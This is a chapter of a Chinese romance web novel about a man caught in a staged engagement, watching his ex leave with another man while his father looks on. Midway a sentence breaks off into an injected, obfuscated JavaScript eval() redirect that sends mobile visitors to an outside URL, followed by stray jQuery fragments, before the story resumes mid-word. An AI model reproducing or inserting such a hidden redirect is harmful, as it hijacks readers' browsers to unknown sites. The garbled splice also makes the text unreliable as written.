廊道不算宽敞，两拨人几乎迎面撞上。


    郁燃显然也没想到会在这里遇见路聿琛。她脸上那点未散的笑意，在目光触及路聿琛和他身前的路兴国时，倏地凝住。只一瞬，她便调整过来，恢复了惯常那种疏离又得体的神色。


    “又见面了，路总。”


    “好巧，郁燃小姐。”路兴国笑得和煦，侧身看了眼身后沉默的儿子，“都是老熟人，聿琛，不打个招呼？”


    路聿琛没动，也没出声。他只是看着郁燃，以及她侧的沈酌。


    他昨晚才跪在她面前，把自尊碾碎了捧出去，说只要能不分手，他不在乎她心里是不是还有沈酌的位置。可此刻亲眼看见她和沈酌并肩站在这里，胸口那阵闷痛还是尖锐得让他几乎无法呼吸。


    她怎么会和沈酌单独出现在这里？


    甚至有个自己都不敢去想的念头出现：她和他，是要复合吗？


    她今天穿了剪裁精良的风衣和高跟鞋，脸上化了淡妆，连唇色都比平日更饱满红润。一切都是精心准备的模样。


    郁燃笑了笑，朝身后略一偏头，语气听不出喜怒：“是啊，都是老熟人，沈酌，不打个招呼？”


    “不必了。”沈酌眼皮都没抬，他现在不受他们制约，也没必要在这虚以委蛇，便也不装了。


    路聿琛的沉默，沈酌的冷淡，让原本就不活络的气氛更尴尬。


    郁燃的目光在路聿琛脸上停了片刻，转向路兴国，那老狐狸眼里毫不掩饰的窥探与玩味让她心头火起。上次那通电话，他拿沈酌和邵文芳的事来刺她，摆明了是把她那点过往摸得一清二楚。


    她唇角弯起一个没什么温度的弧度，先发制人：“路总，真是借您吉言。自那通电话后，每回见你，场合都挺正式。”


    路兴国面色微微一滞，飞快瞥了眼路聿琛。私下联系郁燃这事，他还不知道。


    路兴国旋即哈哈一笑，把话岔开：“你事业蒸蒸日上，我看了也高兴。看这情形，感情生活也有新进展了？”


    “谁真正适合我，我心里有数。”郁燃迎着他的目光，不躲不闪，“这点，还得感谢路总之前的点拨。”


    “那就好，那就好。郁小姐聪明人，一点就透。”路兴国笑容未达眼底，转头拍了拍路聿琛的胳膊，语气慈爱得虚伪，“儿子，郁小姐找到真正的幸福，你也替她开心，对吧？”


    路聿琛沉默了几秒，抬眼看向郁燃。灯光落在他漆黑的眼底，一片晦暗。他喉结滚动，终于挤出两个字：“当然。”


    他感觉自己像被钉在标本架上的昆虫，所有挣扎和不堪都在这狭长走廊的注视下暴露无遗。看着她平静甚至带着一丝挑衅的脸，想起昨夜自己近乎卑微的乞求，胃里一阵翻江倒海。


    这令人窒息的沉默没能持续太久。


    走廊另一头传来不紧不慢的脚步声，由远及近。


    徐呦呦和一个身量很高，眉眼与她有几分相似的男人一前一后走过来。男人站定，先朝路兴国礼貌颔首：“路叔叔，久等。”


    “怀瑾来啦，我们也是刚到。碰见熟人，在这聊两句。”路兴国亲切地拍拍他的肩，“正好，都到齐了。”


    徐怀瑾眼睛含着笑，目光极快地扫过全场。他眼底掠过一丝了然，随即不着痕迹地冲自家妹妹挑了挑眉梢，传递着只有两人才懂的讯息。


    徐呦呦接收到信号，脸上立刻漾开甜美的笑容。她几步走到路聿琛身旁，极其自然地伸出手，挽住了他的胳膊，动作熟稔。她的目光先是落在郁燃身上，随即转向她身侧存在感不低的沈酌，探究的意味更浓，但很快便被盈盈笑意覆盖。


    “今天是什么黄道吉日呀？”徐呦呦声音清脆，带着点娇俏的讶异，视线转回路聿琛脸上，又飘向郁燃，“这么巧，能在这儿碰上。”


    她尾音微微上扬，不亲切，又带着点微妙的距离感。


    郁燃对上她的目光，极淡地牵了牵唇角，眼底掠过一丝几不可察的无奈。


    小丫头，演得还挺投入，你才该去当演员。


    徐呦呦没错过这细微的眼神交换，眸子里飞快闪过一抹心照不宣的笑意。她挽着路聿琛胳膊的手暗暗用了点力，是个提醒，也是个支撑。


    她仰起脸看向路聿琛，语气半真半假，带着点嗔怪，像撒娇，“怎么啦？愣在这里，看见前女友，就走不动道了？”


    路聿琛垂在身侧的另一只手猛地攥紧，指甲几乎要嵌进掌心。他能清晰感觉到徐呦呦指尖的力道，也能感受到对面那道平静到近乎冷漠的目光。


    他强迫自己松开紧握的拳，指节松开时带着微微的麻，也强迫脸上僵硬的肌肉一点点软化，调动起一个勉强算得上温柔的表情。


    “没有。”他微微侧头，目光落回徐呦呦脸上，“站久了，你是不是饿了？”


    “是有点。”徐呦呦娇声应着，更贴近他一些，抬眼看向路兴国，“路叔叔，我们快进去吧，我爸妈在里面坐着了，去晚了又要念叨我不懂规矩。”


    她说这话时，路兴国正饶有兴致地观察着郁燃的反应。


    郁燃脸上的笑容丝毫未变，甚至更舒展了些：“那不耽误你们一家团聚了。”她转向身后的沈酌，“这儿的菜又贵又难吃，我没吃饱，陪我再找家店垫垫？”


    听到这话，沈酌一直低垂的头抬起，眼底的喜色藏不住，几乎没有半分犹豫的答应：“好，去你很喜欢的那家火锅店？就西城区那家。”


    “行，走吧。”郁燃点点头，最后瞥了路聿琛一眼。那目光很淡，像秋日清晨掠过枯枝的风，没留下任何温度，却刮得人生疼。


    路聿琛被徐呦呦挽住的手臂肌肉瞬间绷紧，几乎要立刻抽回。徐呦呦脸上笑容加深，手下力道却更重，死死箍住了他。


    他只能站在原地，看着郁燃转身，沈酌紧跟在她身侧，两人并肩朝走廊另一端走去。


    立在雅间门口的十余名黑衣保镖，沉默而有序地簇拥上前，隔开了外界所有可能的窥探。


    在缝隙间，路聿琛看到，沈酌微微侧头，低声对郁燃说了句什么。郁燃偏过脸去听，几缕长发滑落，遮住了她小半张侧颜。


    那画面，和谐得刺眼。


    直到他们的身影消失在转角，路兴国才像是刚想起来似的，带着点好奇问徐呦呦：“我记得，你跟郁燃是不是参加过同一个节目？关系不好？”


    “路叔叔您可别提了，”徐呦呦嗤笑一声，翻了个小小的白眼，娇纵的神态拿捏得恰到好处，“我跟她八字不合，见面说不了三句准能吵起来。也不知道她一天到晚傲什么，不过就是个……商品嘛，还真把自己当回事了。跟我比？她拿什么比呀。”


    路兴国显然很满意这个回答，朗声笑了几下：“你能这么想就对了。不是一个世界的人，硬凑也难受。”


    “可不就是嘛。”徐呦呦附和。


    路聿琛把这些对话听在耳里，却一个字也没进脑子。


    他记得那家火锅店。很早以前，郁燃还是个小透明的时候，就在那里拍过照片，发过微博，开玩笑说希望老板把辣度再提升一个档次。后来她红了，被偶遇的次数多了，那家店也跟着出了名。网友总调侃，说郁燃是真长情，一家店吃了这么多年还没腻。


    她带沈酌去那里。


    所以……新的永远比不上旧的，是吗？连人也是？


    “路聿琛，回魂了。”徐呦呦晃了晃他的胳膊，压低声音，“好戏开场，该进去了。你爸看着呢。”


    路聿琛这才像是被从冰水里捞出来，有些僵硬地挪动脚步，任由徐呦呦半挽半拉地将他带进包厢。


    包厢内灯火辉煌，满桌珍馐，言笑晏晏。徐家长辈态度亲切，路兴国谈笑风生，徐怀瑾插科打诨调节气氛，一切完美得像一出精心排演的家庭温情剧。


    他坐在徐呦呦身边，扮演着无可挑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16809095|176744||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    剔的“未婚夫”。为她布菜，低声询问她的口味，唇角始终挂着弧度恰好的微笑。


    只有徐怀瑾偶尔投来夹杂着无奈与怜悯的一瞥，才让他惊觉，自己脸上的肌肉原来已经僵硬得发酸。


    心脏的位置空了一块，呼呼地漏着风，把走廊里带来的寒意都灌了进去，指尖冰凉麻木。


    他想，昨晚跪下去的那一刻，是不是就已经预见了此刻的万箭穿心？


    可他控制不住。明知道郁燃最讨厌分手后的纠缠不清，昨晚他还是没忍住追了过去。他甚至自暴自弃地想，既然已经分手，什么都失去了，那是不是意味着……做什么也都无所谓了？


    他偷来的那个吻，是他自私，他承认。


    他伤过她。如今，把箭递到她手里，并引弓对准他心脏的，是他的亲生父亲。而他，连喊痛的立场都没有。他才是那个该被钉在耻辱架上的人。


    酒过三巡，气氛正酣。路兴国与徐父推杯换盏，畅谈着合作蓝图。


    路聿琛借口透气，起身离席，推开连接露天阳台的玻璃门。


    秋末的夜风带着沁骨的凉意，瞬间卷走了包厢内熏人的酒气和暖意。他撑在冰凉的栏杆上，望着楼下庭院里影影绰绰的灯火，手里端着的半杯酒晃了晃，迟迟没有送入口中。


    身后传来脚步声，徐怀瑾靠了过来，点燃一支烟，猩红的火点在昏暗里明灭。


    “路叔这一手，挺绝。”徐怀瑾吐出一口烟雾，声音压得很低，“还有你家那位祖宗，跟她身后那男的一唱一和的，故意的吧？就为了气你？”


    路聿琛没说话。他多希望就像徐怀瑾说的，只是为了气他。可他现在已经猜不透郁燃了，那些基于过去了解所得的判断，在活生生的人复杂多变的心思面前，苍白无力。


    他仰头，将杯中剩余的酒液一饮而尽。辛辣的液体灼烧着喉咙，呛人的烟味飘来，他忍不住低咳一声，目光落在徐怀瑾指间的烟上。


    徐怀瑾从口袋里摸出烟盒，递向他：“来一根？”


    路聿琛盯着那烟盒看了好几秒，缓慢地摇了摇头。


    郁燃不喜欢烟味。这句话，早就刻进了他的骨头里。直到现在，他还在遵守。并且，他想，他会一直遵守下去。


    也该想明白了。无论郁燃还要不要他，他至少，得是那个符合她标准的人。


    “就这么硬扛着？”徐怀瑾侧过脸看他，“我妹演得上瘾，我看路叔是真信了你俩这茬。”


    “不然呢。”路聿琛终于开口，声音哑得厉害，“路兴国要的就是这个结果。”


    路聿琛望着远处被城市霓虹映得泛红的夜空，良久，自嘲地扯了下嘴角。


    “昨晚我还跟她说，我不介意当沈酌的替身。”他的声音轻得像呓语，“今天才知道，我连当替身的资格，恐怕都没有。”


    徐怀瑾沉默了一会儿，抬手重重拍了下他的肩膀：“路叔肯定跟她说过什么难听话，她今天估计也是被气狠了。”


    “我知道。”路聿琛闭上眼，“我都知道。”


    可知道，不代表不痛，更不代表，他会原谅路兴国。


    睚眦必报，才是他的本性。


    阳台的门被轻轻推开一条缝，徐呦呦探出脑袋，看见徐怀瑾，不满地撇撇嘴：“哥，你干嘛呢？别霸占我未婚夫好不好？里面找你喝酒呢。”


    徐怀瑾掐灭烟，对路聿琛丢了个自求多福的眼神，转身进去了。


    徐呦呦走到路聿琛身边，也趴在了栏杆上。脸上那副娇俏明媚的面具褪去，只剩下平静，甚至有点冷。


    她低声问：“准备什么时候动手？这场戏，差不多了吧。”


    路聿琛抬起头，望向夜空。北都常年被雾霾笼罩，今夜却难得能看见几颗稀疏的星子，微弱地闪烁着。


    他看了很久，才缓缓开口，声音低沉而清晰：


    “快了。马上……就都结束了。”